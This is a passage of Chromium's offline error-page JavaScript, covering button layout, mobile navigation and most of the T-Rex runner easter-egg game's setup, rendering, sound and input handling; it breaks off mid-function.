        .classList.add('use-popup-container', HIDDEN_CLASS);
    document.getElementById('error-information-button')
        .classList.remove(HIDDEN_CLASS);
  }

  const attemptAutoFetch = loadTimeData.valueExists('attemptAutoFetch') &&
      loadTimeData.getValue('attemptAutoFetch');

  const reloadButtonVisible = loadTimeData.valueExists('reloadButton') &&
      loadTimeData.getValue('reloadButton').msg;

  const reloadButton = document.getElementById('reload-button');
  const downloadButton = document.getElementById('download-button');
  if (reloadButton.style.display === 'none' &&
      downloadButton.style.display === 'none') {
    detailsButton.classList.add('singular');
  }

  // Show or hide control buttons.
  const controlButtonDiv = document.getElementById('control-buttons');
  controlButtonDiv.hidden =
      offlineContentVisible || !(reloadButtonVisible || downloadButtonVisible);

  const iconClass = loadTimeData.valueExists('iconClass') &&
      loadTimeData.getValue('iconClass');

  updateIconClass(iconClass);

  if (!isSubFrame && iconClass === 'icon-offline') {
    document.documentElement.classList.add('offline');
    new Runner('.interstitial-wrapper');
  }
}

function onDocumentLoad() {
  // Sets up the proper button layout for the current platform.
  const buttonsDiv = document.getElementById('buttons');
  if (primaryControlOnLeft) {
    buttonsDiv.classList.add('suggested-left');
  } else {
    buttonsDiv.classList.add('suggested-right');
  }

  onDocumentLoadOrUpdate();
}

document.addEventListener('DOMContentLoaded', onDocumentLoad);
</script>
  <script>// Copyright 2015 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

let mobileNav = false;

/**
 * For small screen mobile the navigation buttons are moved
 * below the advanced text.
 */
function onResize() {
  const helpOuterBox = document.querySelector('#details');
  const mainContent = document.querySelector('#main-content');
  const mediaQuery = '(min-width: 240px) and (max-width: 420px) and ' +
      '(min-height: 401px), ' +
      '(max-height: 560px) and (min-height: 240px) and ' +
      '(min-width: 421px)';

  const detailsHidden = helpOuterBox.classList.contains(HIDDEN_CLASS);
  const runnerContainer = document.querySelector('.runner-container');

  // Check for change in nav status.
  if (mobileNav !== window.matchMedia(mediaQuery).matches) {
    mobileNav = !mobileNav;

    // Handle showing the top content / details sections according to state.
    if (mobileNav) {
      mainContent.classList.toggle(HIDDEN_CLASS, !detailsHidden);
      helpOuterBox.classList.toggle(HIDDEN_CLASS, detailsHidden);
      if (runnerContainer) {
        runnerContainer.classList.toggle(HIDDEN_CLASS, !detailsHidden);
      }
    } else if (!detailsHidden) {
      // Non mobile nav with visible details.
      mainContent.classList.remove(HIDDEN_CLASS);
      helpOuterBox.classList.remove(HIDDEN_CLASS);
      if (runnerContainer) {
        runnerContainer.classList.remove(HIDDEN_CLASS);
      }
    }
  }
}

function setupMobileNav() {
  window.addEventListener('resize', onResize);
  onResize();
}

document.addEventListener('DOMContentLoaded', setupMobileNav);
</script>
  <script>// Copyright 2014 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

/**
 * T-Rex runner.
 * @param {string} outerContainerId Outer containing element id.
 * @param {!Object=} opt_config
 * @constructor
 * @implements {EventListener}
 * @export
 */
function Runner(outerContainerId, opt_config) {
  // Singleton
  if (Runner.instance_) {
    return Runner.instance_;
  }
  Runner.instance_ = this;

  this.outerContainerEl = document.querySelector(outerContainerId);
  this.containerEl = null;
  this.snackbarEl = null;
  // A div to intercept touch events. Only set while (playing && useTouch).
  this.touchController = null;

  this.config = opt_config || Object.assign(Runner.config, Runner.normalConfig);
  // Logical dimensions of the container.
  this.dimensions = Runner.defaultDimensions;

  this.gameType = null;
  Runner.spriteDefinition = Runner.spriteDefinitionByType['original'];

  this.altGameImageSprite = null;
  this.altGameModeActive = false;
  this.altGameModeFlashTimer = null;
  this.fadeInTimer = 0;

  this.canvas = null;
  this.canvasCtx = null;

  this.tRex = null;

  this.distanceMeter = null;
  this.distanceRan = 0;

  this.highestScore = 0;
  this.syncHighestScore = false;

  this.time = 0;
  this.runningTime = 0;
  this.msPerFrame = 1000 / FPS;
  this.currentSpeed = this.config.SPEED;
  Runner.slowDown = false;

  this.obstacles = [];

  this.activated = false; // Whether the easter egg has been activated.
  this.playing = false; // Whether the game is currently in play state.
  this.crashed = false;
  this.paused = false;
  this.inverted = false;
  this.invertTimer = 0;
  this.resizeTimerId_ = null;

  this.playCount = 0;

  // Sound FX.
  this.audioBuffer = null;

  /** @type {Object} */
  this.soundFx = {};
  this.generatedSoundFx = null;

  // Global web audio context for playing sounds.
  this.audioContext = null;

  // Images.
  this.images = {};
  this.imagesLoaded = 0;

  // Gamepad state.
  this.pollingGamepads = false;
  this.gamepadIndex = undefined;
  this.previousGamepad = null;

  if (this.isDisabled()) {
    this.setupDisabledRunner();
  } else {
    if (Runner.isAltGameModeEnabled()) {
      this.initAltGameType();
      Runner.gameType = this.gameType;
    }
    this.loadImages();

    window['initializeEasterEggHighScore'] =
        this.initializeHighScore.bind(this);
  }
}

/**
 * Default game width.
 * @const
 */
const DEFAULT_WIDTH = 600;

/**
 * Frames per second.
 * @const
 */
const FPS = 60;

/** @const */
const IS_HIDPI = window.devicePixelRatio > 1;

/** @const */
const IS_IOS = /CriOS/.test(window.navigator.userAgent);

/** @const */
const IS_MOBILE = /Android/.test(window.navigator.userAgent) || IS_IOS;

/** @const */
const IS_RTL = document.querySelector('html').dir == 'rtl';

/** @const */
const ARCADE_MODE_URL = 'chrome://dino/';

/** @const */
const RESOURCE_POSTFIX = 'offline-resources-';

/** @const */
const A11Y_STRINGS = {
  ariaLabel: 'dinoGameA11yAriaLabel',
  description: 'dinoGameA11yDescription',
  gameOver: 'dinoGameA11yGameOver',
  highScore: 'dinoGameA11yHighScore',
  jump: 'dinoGameA11yJump',
  started: 'dinoGameA11yStartGame',
  speedLabel: 'dinoGameA11ySpeedToggle',
};

/**
 * Default game configuration.
 * Shared config for all  versions of the game. Additional parameters are
 * defined in Runner.normalConfig and Runner.slowConfig.
 */
Runner.config = {
  AUDIOCUE_PROXIMITY_THRESHOLD: 190,
  AUDIOCUE_PROXIMITY_THRESHOLD_MOBILE_A11Y: 250,
  BG_CLOUD_SPEED: 0.2,
  BOTTOM_PAD: 10,
  // Scroll Y threshold at which the game can be activated.
  CANVAS_IN_VIEW_OFFSET: -10,
  CLEAR_TIME: 3000,
  CLOUD_FREQUENCY: 0.5,
  FADE_DURATION: 1,
  FLASH_DURATION: 1000,
  GAMEOVER_CLEAR_TIME: 1200,
  INITIAL_JUMP_VELOCITY: 12,
  INVERT_FADE_DURATION: 12000,
  MAX_BLINK_COUNT: 3,
  MAX_CLOUDS: 6,
  MAX_OBSTACLE_LENGTH: 3,
  MAX_OBSTACLE_DUPLICATION: 2,
  RESOURCE_TEMPLATE_ID: 'audio-resources',
  SPEED: 6,
  SPEED_DROP_COEFFICIENT: 3,
  ARCADE_MODE_INITIAL_TOP_POSITION: 35,
  ARCADE_MODE_TOP_POSITION_PERCENT: 0.1,
};

Runner.normalConfig = {
  ACCELERATION: 0.001,
  AUDIOCUE_PROXIMITY_THRESHOLD: 190,
  AUDIOCUE_PROXIMITY_THRESHOLD_MOBILE_A11Y: 250,
  GAP_COEFFICIENT: 0.6,
  INVERT_DISTANCE: 700,
  MAX_SPEED: 13,
  MOBILE_SPEED_COEFFICIENT: 1.2,
  SPEED: 6,
};


Runner.slowConfig = {
  ACCELERATION: 0.0005,
  AUDIOCUE_PROXIMITY_THRESHOLD: 170,
  AUDIOCUE_PROXIMITY_THRESHOLD_MOBILE_A11Y: 220,
  GAP_COEFFICIENT: 0.3,
  INVERT_DISTANCE: 350,
  MAX_SPEED: 9,
  MOBILE_SPEED_COEFFICIENT: 1.5,
  SPEED: 4.2,
};


/**
 * Default dimensions.
 */
Runner.defaultDimensions = {
  WIDTH: DEFAULT_WIDTH,
  HEIGHT: 150,
};


/**
 * CSS class names.
 * @enum {string}
 */
Runner.classes = {
  ARCADE_MODE: 'arcade-mode',
  CANVAS: 'runner-canvas',
  CONTAINER: 'runner-container',
  CRASHED: 'crashed',
  ICON: 'icon-offline',
  INVERTED: 'inverted',
  SNACKBAR: 'snackbar',
  SNACKBAR_SHOW: 'snackbar-show',
  TOUCH_CONTROLLER: 'controller',
};


/**
 * Sound FX. Reference to the ID of the audio tag on interstitial page.
 * @enum {string}
 */
Runner.sounds = {
  BUTTON_PRESS: 'offline-sound-press',
  HIT: 'offline-sound-hit',
  SCORE: 'offline-sound-reached',
};


/**
 * Key code mapping.
 * @enum {Object}
 */
Runner.keycodes = {
  JUMP: {'38': 1, '32': 1},  // Up, spacebar
  DUCK: {'40': 1},           // Down
  RESTART: {'13': 1},        // Enter
};


/**
 * Runner event names.
 * @enum {string}
 */
Runner.events = {
  ANIM_END: 'webkitAnimationEnd',
  CLICK: 'click',
  KEYDOWN: 'keydown',
  KEYUP: 'keyup',
  POINTERDOWN: 'pointerdown',
  POINTERUP: 'pointerup',
  RESIZE: 'resize',
  TOUCHEND: 'touchend',
  TOUCHSTART: 'touchstart',
  VISIBILITY: 'visibilitychange',
  BLUR: 'blur',
  FOCUS: 'focus',
  LOAD: 'load',
  GAMEPADCONNECTED: 'gamepadconnected',
};

Runner.prototype = {
  /**
   * Initialize alternative game type.
   */
  initAltGameType() {
    if (GAME_TYPE.length > 0) {
      this.gameType = loadTimeData && loadTimeData.valueExists('altGameType') ?
          GAME_TYPE[parseInt(loadTimeData.getValue('altGameType'), 10) - 1] :
          '';
    }
  },

  /**
   * Whether the easter egg has been disabled. CrOS enterprise enrolled devices.
   * @return {boolean}
   */
  isDisabled() {
    return loadTimeData && loadTimeData.valueExists('disabledEasterEgg');
  },

  /**
   * For disabled instances, set up a snackbar with the disabled message.
   */
  setupDisabledRunner() {
    this.containerEl = document.createElement('div');
    this.containerEl.className = Runner.classes.SNACKBAR;
    this.containerEl.textContent = loadTimeData.getValue('disabledEasterEgg');
    this.outerContainerEl.appendChild(this.containerEl);

    // Show notification when the activation key is pressed.
    document.addEventListener(Runner.events.KEYDOWN, function(e) {
      if (Runner.keycodes.JUMP[e.keyCode]) {
        this.containerEl.classList.add(Runner.classes.SNACKBAR_SHOW);
        document.querySelector('.icon').classList.add('icon-disabled');
      }
    }.bind(this));
  },

  /**
   * Setting individual settings for debugging.
   * @param {string} setting
   * @param {number|string} value
   */
  updateConfigSetting(setting, value) {
    if (setting in this.config && value !== undefined) {
      this.config[setting] = value;

      switch (setting) {
        case 'GRAVITY':
        case 'MIN_JUMP_HEIGHT':
        case 'SPEED_DROP_COEFFICIENT':
          this.tRex.config[setting] = value;
          break;
        case 'INITIAL_JUMP_VELOCITY':
          this.tRex.setJumpVelocity(value);
          break;
        case 'SPEED':
          this.setSpeed(/** @type {number} */ (value));
          break;
      }
    }
  },

  /**
   * Creates an on page image element from the base 64 encoded string source.
   * @param {string} resourceName Name in data object,
   * @return {HTMLImageElement} The created element.
   */
  createImageElement(resourceName) {
    const imgSrc = loadTimeData && loadTimeData.valueExists(resourceName) ?
        loadTimeData.getString(resourceName) :
        null;

    if (imgSrc) {
      const el =
          /** @type {HTMLImageElement} */ (document.createElement('img'));
      el.id = resourceName;
      el.src = imgSrc;
      document.getElementById('offline-resources').appendChild(el);
      return el;
    }
    return null;
  },

  /**
   * Cache the appropriate image sprite from the page and get the sprite sheet
   * definition.
   */
  loadImages() {
    let scale = '1x';
    this.spriteDef = Runner.spriteDefinition.LDPI;
    if (IS_HIDPI) {
      scale = '2x';
      this.spriteDef = Runner.spriteDefinition.HDPI;
    }

    Runner.imageSprite = /** @type {HTMLImageElement} */
        (document.getElementById(RESOURCE_POSTFIX + scale));

    if (this.gameType) {
      Runner.altGameImageSprite = /** @type {HTMLImageElement} */
          (this.createImageElement('altGameSpecificImage' + scale));
      Runner.altCommonImageSprite = /** @type {HTMLImageElement} */
          (this.createImageElement('altGameCommonImage' + scale));
    }
    Runner.origImageSprite = Runner.imageSprite;

    // Disable the alt game mode if the sprites can't be loaded.
    if (!Runner.altGameImageSprite || !Runner.altCommonImageSprite) {
      Runner.isAltGameModeEnabled = () => false;
      this.altGameModeActive = false;
    }

    if (Runner.imageSprite.complete) {
      this.init();
    } else {
      // If the images are not yet loaded, add a listener.
      Runner.imageSprite.addEventListener(Runner.events.LOAD,
          this.init.bind(this));
    }
  },

  /**
   * Load and decode base 64 encoded sounds.
   */
  loadSounds() {
    if (!IS_IOS) {
      this.audioContext = new AudioContext();

      const resourceTemplate =
          document.getElementById(this.config.RESOURCE_TEMPLATE_ID).content;

      for (const sound in Runner.sounds) {
        let soundSrc =
            resourceTemplate.getElementById(Runner.sounds[sound]).src;
        soundSrc = soundSrc.substr(soundSrc.indexOf(',') + 1);
        const buffer = decodeBase64ToArrayBuffer(soundSrc);

        // Async, so no guarantee of order in array.
        this.audioContext.decodeAudioData(buffer, function(index, audioData) {
            this.soundFx[index] = audioData;
          }.bind(this, sound));
      }
    }
  },

  /**
   * Sets the game speed. Adjust the speed accordingly if on a smaller screen.
   * @param {number=} opt_speed
   */
  setSpeed(opt_speed) {
    const speed = opt_speed || this.currentSpeed;

    // Reduce the speed on smaller mobile screens.
    if (this.dimensions.WIDTH < DEFAULT_WIDTH) {
      const mobileSpeed = Runner.slowDown ? speed :
                                            speed * this.dimensions.WIDTH /
              DEFAULT_WIDTH * this.config.MOBILE_SPEED_COEFFICIENT;
      this.currentSpeed = mobileSpeed > speed ? speed : mobileSpeed;
    } else if (opt_speed) {
      this.currentSpeed = opt_speed;
    }
  },

  /**
   * Game initialiser.
   */
  init() {
    // Hide the static icon.
    document.querySelector('.' + Runner.classes.ICON).style.visibility =
        'hidden';

    this.adjustDimensions();
    this.setSpeed();

    const ariaLabel = getA11yString(A11Y_STRINGS.ariaLabel);
    this.containerEl = document.createElement('div');
    this.containerEl.setAttribute('role', IS_MOBILE ? 'button' : 'application');
    this.containerEl.setAttribute('tabindex', '0');
    this.containerEl.setAttribute('title', ariaLabel);

    this.containerEl.className = Runner.classes.CONTAINER;

    // Player canvas container.
    this.canvas = createCanvas(this.containerEl, this.dimensions.WIDTH,
        this.dimensions.HEIGHT);

    // Live region for game status updates.
    this.a11yStatusEl = document.createElement('span');
    this.a11yStatusEl.className = 'offline-runner-live-region';
    this.a11yStatusEl.setAttribute('aria-live', 'assertive');
    this.a11yStatusEl.textContent = '';
    Runner.a11yStatusEl = this.a11yStatusEl;

    // Add checkbox to slow down the game.
    this.slowSpeedCheckboxLabel = document.createElement('label');
    this.slowSpeedCheckboxLabel.className = 'slow-speed-option hidden';
    this.slowSpeedCheckboxLabel.textContent =
        getA11yString(A11Y_STRINGS.speedLabel);

    this.slowSpeedCheckbox = document.createElement('input');
    this.slowSpeedCheckbox.setAttribute('type', 'checkbox');
    this.slowSpeedCheckbox.setAttribute(
        'title', getA11yString(A11Y_STRINGS.speedLabel));
    this.slowSpeedCheckbox.setAttribute('tabindex', '0');
    this.slowSpeedCheckbox.setAttribute('checked', 'checked');

    this.slowSpeedToggleEl = document.createElement('span');
    this.slowSpeedToggleEl.className = 'slow-speed-toggle';

    this.slowSpeedCheckboxLabel.appendChild(this.slowSpeedCheckbox);
    this.slowSpeedCheckboxLabel.appendChild(this.slowSpeedToggleEl);

    if (IS_IOS) {
      this.outerContainerEl.appendChild(this.a11yStatusEl);
    } else {
      this.containerEl.appendChild(this.a11yStatusEl);
    }

    announcePhrase(getA11yString(A11Y_STRINGS.description));

    this.generatedSoundFx = new GeneratedSoundFx();

    this.canvasCtx =
        /** @type {CanvasRenderingContext2D} */ (this.canvas.getContext('2d'));
    this.canvasCtx.fillStyle = '#f7f7f7';
    this.canvasCtx.fill();
    Runner.updateCanvasScaling(this.canvas);

    // Horizon contains clouds, obstacles and the ground.
    this.horizon = new Horizon(this.canvas, this.spriteDef, this.dimensions,
        this.config.GAP_COEFFICIENT);

    // Distance meter
    this.distanceMeter = new DistanceMeter(this.canvas,
          this.spriteDef.TEXT_SPRITE, this.dimensions.WIDTH);

    // Draw t-rex
    this.tRex = new Trex(this.canvas, this.spriteDef.TREX);

    this.outerContainerEl.appendChild(this.containerEl);
    this.outerContainerEl.appendChild(this.slowSpeedCheckboxLabel);

    this.startListening();
    this.update();

    window.addEventListener(Runner.events.RESIZE,
        this.debounceResize.bind(this));

    // Handle dark mode
    const darkModeMediaQuery =
        window.matchMedia('(prefers-color-scheme: dark)');
    this.isDarkMode = darkModeMediaQuery && darkModeMediaQuery.matches;
    darkModeMediaQuery.addListener((e) => {
      this.isDarkMode = e.matches;
    });
  },

  /**
   * Create the touch controller. A div that covers whole screen.
   */
  createTouchController() {
    this.touchController = document.createElement('div');
    this.touchController.className = Runner.classes.TOUCH_CONTROLLER;
    this.touchController.addEventListener(Runner.events.TOUCHSTART, this);
    this.touchController.addEventListener(Runner.events.TOUCHEND, this);
    this.outerContainerEl.appendChild(this.touchController);
  },

  /**
   * Debounce the resize event.
   */
  debounceResize() {
    if (!this.resizeTimerId_) {
      this.resizeTimerId_ =
          setInterval(this.adjustDimensions.bind(this), 250);
    }
  },

  /**
   * Adjust game space dimensions on resize.
   */
  adjustDimensions() {
    clearInterval(this.resizeTimerId_);
    this.resizeTimerId_ = null;

    const boxStyles = window.getComputedStyle(this.outerContainerEl);
    const padding = Number(boxStyles.paddingLeft.substr(0,
        boxStyles.paddingLeft.length - 2));

    this.dimensions.WIDTH = this.outerContainerEl.offsetWidth - padding * 2;
    if (this.isArcadeMode()) {
      this.dimensions.WIDTH = Math.min(DEFAULT_WIDTH, this.dimensions.WIDTH);
      if (this.activated) {
        this.setArcadeModeContainerScale();
      }
    }

    // Redraw the elements back onto the canvas.
    if (this.canvas) {
      this.canvas.width = this.dimensions.WIDTH;
      this.canvas.height = this.dimensions.HEIGHT;

      Runner.updateCanvasScaling(this.canvas);

      this.distanceMeter.calcXPos(this.dimensions.WIDTH);
      this.clearCanvas();
      this.horizon.update(0, 0, true);
      this.tRex.update(0);

      // Outer container and distance meter.
      if (this.playing || this.crashed || this.paused) {
        this.containerEl.style.width = this.dimensions.WIDTH + 'px';
        this.containerEl.style.height = this.dimensions.HEIGHT + 'px';
        this.distanceMeter.update(0, Math.ceil(this.distanceRan));
        this.stop();
      } else {
        this.tRex.draw(0, 0);
      }

      // Game over panel.
      if (this.crashed && this.gameOverPanel) {
        this.gameOverPanel.updateDimensions(this.dimensions.WIDTH);
        this.gameOverPanel.draw(this.altGameModeActive, this.tRex);
      }
    }
  },

  /**
   * Play the game intro.
   * Canvas container width expands out to the full width.
   */
  playIntro() {
    if (!this.activated && !this.crashed) {
      this.playingIntro = true;
      this.tRex.playingIntro = true;

      // CSS animation definition.
      const keyframes = '@-webkit-keyframes intro { ' +
            'from { width:' + Trex.config.WIDTH + 'px }' +
            'to { width: ' + this.dimensions.WIDTH + 'px }' +
          '}';
      document.styleSheets[0].insertRule(keyframes, 0);

      this.containerEl.addEventListener(Runner.events.ANIM_END,
          this.startGame.bind(this));

      this.containerEl.style.webkitAnimation = 'intro .4s ease-out 1 both';
      this.containerEl.style.width = this.dimensions.WIDTH + 'px';

      this.setPlayStatus(true);
      this.activated = true;
    } else if (this.crashed) {
      this.restart();
    }
  },


  /**
   * Update the game status to started.
   */
  startGame() {
    if (this.isArcadeMode()) {
      this.setArcadeMode();
    }
    this.toggleSpeed();
    this.runningTime = 0;
    this.playingIntro = false;
    this.tRex.playingIntro = false;
    this.containerEl.style.webkitAnimation = '';
    this.playCount++;
    this.generatedSoundFx.background();
    announcePhrase(getA11yString(A11Y_STRINGS.started));

    if (Runner.audioCues) {
      this.containerEl.setAttribute('title', getA11yString(A11Y_STRINGS.jump));
    }

    // Handle tabbing off the page. Pause the current game.
    document.addEventListener(Runner.events.VISIBILITY,
          this.onVisibilityChange.bind(this));

    window.addEventListener(Runner.events.BLUR,
          this.onVisibilityChange.bind(this));

    window.addEventListener(Runner.events.FOCUS,
          this.onVisibilityChange.bind(this));
  },

  clearCanvas() {
    this.canvasCtx.clearRect(0, 0, this.dimensions.WIDTH,
        this.dimensions.HEIGHT);
  },

  /**
   * Checks whether the canvas area is in the viewport of the browser
   * through the current scroll position.
   * @return boolean.
   */
  isCanvasInView() {
    return this.containerEl.getBoundingClientRect().top >
        Runner.config.CANVAS_IN_VIEW_OFFSET;
  },

  /**
   * Enable the alt game mode. Switching out the sprites.
   */
  enableAltGameMode() {
    Runner.imageSprite = Runner.altGameImageSprite;
    Runner.spriteDefinition = Runner.spriteDefinitionByType[Runner.gameType];

    if (IS_HIDPI) {
      this.spriteDef = Runner.spriteDefinition.HDPI;
    } else {
      this.spriteDef = Runner.spriteDefinition.LDPI;
    }

    this.altGameModeActive = true;
    this.tRex.enableAltGameMode(this.spriteDef.TREX);
    this.horizon.enableAltGameMode(this.spriteDef);
    this.generatedSoundFx.background();
  },

  /**
   * Update the game frame and schedules the next one.
   */
  update() {
    this.updatePending = false;

    const now = getTimeStamp();
    let deltaTime = now - (this.time || now);

    // Flashing when switching game modes.
    if (this.altGameModeFlashTimer < 0 || this.altGameModeFlashTimer === 0) {
      this.altGameModeFlashTimer = null;
      this.tRex.setFlashing(false);
      this.enableAltGameMode();
    } else if (this.altGameModeFlashTimer > 0) {
      this.altGameModeFlashTimer -= deltaTime;
      this.tRex.update(deltaTime);
      deltaTime = 0;
    }

    this.time = now;

    if (this.playing) {
      this.clearCanvas();

      // Additional fade in - Prevents jump when switching sprites
      if (this.altGameModeActive &&
          this.fadeInTimer <= this.config.FADE_DURATION) {
        this.fadeInTimer += deltaTime / 1000;
        this.canvasCtx.globalAlpha = this.fadeInTimer;
      } else {
        this.canvasCtx.globalAlpha = 1;
      }

      if (this.tRex.jumping) {
        this.tRex.updateJump(deltaTime);
      }

      this.runningTime += deltaTime;
      const hasObstacles = this.runningTime > this.config.CLEAR_TIME;

      // First jump triggers the intro.
      if (this.tRex.jumpCount === 1 && !this.playingIntro) {
        this.playIntro();
      }

      // The horizon doesn't move until the intro is over.
      if (this.playingIntro) {
        this.horizon.update(0, this.currentSpeed, hasObstacles);
      } else if (!this.crashed) {
        const showNightMode = this.isDarkMode ^ this.inverted;
        deltaTime = !this.activated ? 0 : deltaTime;
        this.horizon.update(
            deltaTime, this.currentSpeed, hasObstacles, showNightMode);
      }

      // Check for collisions.
      let collision = hasObstacles &&
          checkForCollision(this.horizon.obstacles[0], this.tRex);

      // For a11y, audio cues.
      if (Runner.audioCues && hasObstacles) {
        const jumpObstacle =
            this.horizon.obstacles[0].typeConfig.type != 'COLLECTABLE';

        if (!this.horizon.obstacles[0].jumpAlerted) {
          const threshold = Runner.isMobileMouseInput ?
              Runner.config.AUDIOCUE_PROXIMITY_THRESHOLD_MOBILE_A11Y :
              Runner.config.AUDIOCUE_PROXIMITY_THRESHOLD;
          const adjProximityThreshold = threshold +
              (threshold * Math.log10(this.currentSpeed / Runner.config.SPEED));

          if (this.horizon.obstacles[0].xPos < adjProximityThreshold) {
            if (jumpObstacle) {
              this.generatedSoundFx.jump();
            }
            this.horizon.obstacles[0].jumpAlerted = true;
          }
        }
      }

      // Activated alt game mode.
      if (Runner.isAltGameModeEnabled() && collision &&
          this.horizon.obstacles[0].typeConfig.type == 'COLLECTABLE') {
        this.horizon.removeFirstObstacle();
        this.tRex.setFlashing(true);
        collision = false;
        this.altGameModeFlashTimer = this.config.FLASH_DURATION;
        this.runningTime = 0;
        this.generatedSoundFx.collect();
      }

      if (!collision) {
        this.distanceRan += this.currentSpeed * deltaTime / this.msPerFrame;

        if (this.currentSpeed < this.config.MAX_SPEED) {
          this.currentSpeed += this.config.ACCELERATION;
        }
      } else {
        this.gameOver();
      }

      const playAchievementSound = this.distanceMeter.update(deltaTime,
          Math.ceil(this.distanceRan));

      if (!Runner.audioCues && playAchievementSound) {
        this.playSound(this.soundFx.SCORE);
      }

      // Night mode.
      if (!Runner.isAltGameModeEnabled()) {
        if (this.invertTimer > this.config.INVERT_FADE_DURATION) {
          this.invertTimer = 0;
          this.invertTrigger = false;
          this.invert(false);
        } else if (this.invertTimer) {
          this.invertTimer += deltaTime;
        } else {
          const actualDistance =
              this.distanceMeter.getActualDistance(Math.ceil(this.distanceRan));

          if (actualDistance > 0) {
            this.invertTrigger =
                !(actualDistance % this.config.INVERT_DISTANCE);

            if (this.invertTrigger && this.invertTimer === 0) {
              this.invertTimer += deltaTime;
              this.invert(false);
            }
          }
        }
      }
    }

    if (this.playing || (!this.activated &&
        this.tRex.blinkCount < Runner.config.MAX_BLINK_COUNT)) {
      this.tRex.update(deltaTime);
      this.scheduleNextUpdate();
    }
  },

  /**
   * Event handler.
   * @param {Event} e
   */
  handleEvent(e) {
    return (function(evtType, events) {
      switch (evtType) {
        case events.KEYDOWN:
        case events.TOUCHSTART:
        case events.POINTERDOWN:
          this.onKeyDown(e);
          break;
        case events.KEYUP:
        case events.TOUCHEND:
        case events.POINTERUP:
          this.onKeyUp(e);
          break;
        case events.GAMEPADCONNECTED:
          this.onGamepadConnected(e);
          break;
      }
    }.bind(this))(e.type, Runner.events);
  },

  /**
   * Initialize audio cues if activated by focus on the canvas element.
   * @param {Event} e
   */
  handleCanvasKeyPress(e) {
    if (!this.activated && !Runner.audioCues) {
      this.toggleSpeed();
      Runner.audioCues = true;
      this.generatedSoundFx.init();
      Runner.generatedSoundFx = this.generatedSoundFx;
      Runner.config.CLEAR_TIME *= 1.2;
    } else if (e.keyCode && Runner.keycodes.JUMP[e.keyCode]) {
      this.onKeyDown(e);
    }
  },

  /**
   * Prevent space key press from scrolling.
   * @param {Event} e
   */
  preventScrolling(e) {
    if (e.keyCode === 32) {
      e.preventDefault();
    }
  },

  /**
   * Toggle speed setting if toggle is shown.
   */
  toggleSpeed() {
    if (Runner.audioCues) {
      const speedChange = Runner.slowDown != this.slowSpeedCheckbox.checked;

      if (speedChange) {
        Runner.slowDown = this.slowSpeedCheckbox.checked;
        const updatedConfig =
            Runner.slowDown ? Runner.slowConfig : Runner.normalConfig;

        Runner.config = Object.assign(Runner.config, updatedConfig);
        this.currentSpeed = updatedConfig.SPEED;
        this.tRex.enableSlowConfig();
        this.horizon.adjustObstacleSpeed();
      }
      if (this.playing) {
        this.disableSpeedToggle(true);
      }
    }
  },

  /**
   * Show the speed toggle.
   * From focus event or when audio cues are activated.
   * @param {Event=} e
   */
  showSpeedToggle(e) {
    const isFocusEvent = e && e.type == 'focus';
    if (Runner.audioCues || isFocusEvent) {
      this.slowSpeedCheckboxLabel.classList.toggle(
          HIDDEN_CLASS, isFocusEvent ? false : !this.crashed);
    }
  },

  /**
   * Disable the speed toggle.
   * @param {boolean} disable
   */
  disableSpeedToggle(disable) {
    if (disable) {
      this.slowSpeedCheckbox.setAttribute('disabled', 'disabled');
    } else {
      this.slowSpeedCheckbox.removeAttribute('disabled');
    }
  },

  /**
   * Bind relevant key / mouse / touch listeners.
   */
  startListening() {
    // A11y keyboard / screen reader activation.
    this.containerEl.addEventListener(
        Runner.events.KEYDOWN, this.handleCanvasKeyPress.bind(this));
    if (!IS_MOBILE) {
      this.containerEl.addEventListener(
          Runner.events.FOCUS, this.showSpeedToggle.bind(this));
    }
    this.canvas.addEventListener(
        Runner.events.KEYDOWN, this.preventScrolling.bind(this));
    this.canvas.addEventListener(
        Runner.events.KEYUP, this.preventScrolling.bind(this));

    // Keys.
    document.addEventListener(Runner.events.KEYDOWN, this);
    document.addEventListener(Runner.events.KEYUP, this);

    // Touch / pointer.
    this.containerEl.addEventListener(Runner.events.TOUCHSTART, this);
    document.addEventListener(Runner.events.POINTERDOWN, this);
    document.addEventListener(Runner.events.POINTERUP, this);

    if (this.isArcadeMode()) {
      // Gamepad
      window.addEventListener(Runner.events.GAMEPADCONNECTED, this);
    }
  },

  /**
   * Remove all listeners.
   */
  stopListening() {
    document.removeEventListener(Runner.events.KEYDOWN, this);
    document.removeEventListener(Runner.events.KEYUP, this);

    if (this.touchController) {
      this.touchController.removeEventListener(Runner.events.TOUCHSTART, this);
      this.touchController.removeEventListener(Runner.events.TOUCHEND, this);
    }

    this.containerEl.removeEventListener(Runner.events.TOUCHSTART, this);
    document.removeEventListener(Runner.events.POINTERDOWN, this);
    document.removeEventListener(Runner.events.POINTERUP, this);

    if (this.isArcadeMode()) {
      window.removeEventListener(Runner.events.GAMEPADCONNECTED, this);
    }
  },

  /**
   * Process keydown.
   * @param {Event} e
   */
  onKeyDown(e) {
    // Prevent native page scrolling whilst tapping on mobile.
    if (IS_MOBILE && this.playing) {
      e.preventDefault();
    }

    if (this.isCanvasInView()) {
      // Allow toggling of speed toggle.
      if (Runner.keycodes.JUMP[e.keyCode] &&
          e.target == this.slowSpeedCheckbox) {
        return;
      }

      if (!this.crashed && !this.paused) {
        // For a11y, screen reader activation.
        const isMobileMouseInput = IS_MOBILE &&
                e.type === Runner.events.POINTERDOWN &&
                e.pointerType == 'mouse' && e.target == this.containerEl ||
            (IS_IOS && e.pointerType == 'touch' &&
             document.activeElement == this.containerEl);

        if (Runner.keycodes.JUMP[e.keyCode] ||
            e.type === Runner.events.TOUCHSTART || isMobileMouseInput ||
            (Runner.keycodes.DUCK[e.keyCode] && this.altGameModeActive)) {
          e.preventDefault();
          // Starting the game for the first time.
          if (!this.playing) {
            // Started by touch so create a touch controller.
            if (!this.touchController && e.type === Runner.events.TOUCHSTART) {
              this.createTouchController();
            }

            if (isMobileMouseInput) {
              this.handleCanvasKeyPress(e);
            }
            this.loadSounds();
            this.setPlayStatus(true);
            this.update();
            if (window.errorPageController) {
              errorPageController.trackEasterEgg();
            }
          }
          // Start jump.
          if (!this.tRex.jumping && !this.tRex.ducking) {
            if (Runner.audioCues) {
              this.generatedSoundFx.cancelFootSteps();
            } else {
              this.playSound(this.soundFx.BUTTON_PRESS);
            }
            this.tRex.startJump(this.currentSpeed);
          }
          // Ducking is disabled on alt game modes.
        } else if (
            !this.altGameModeActive && this.playing &&
            Runner.keycodes.DUCK[e.keyCode]) {
          e.preventDefault();
          if (this.tRex.jumping) {
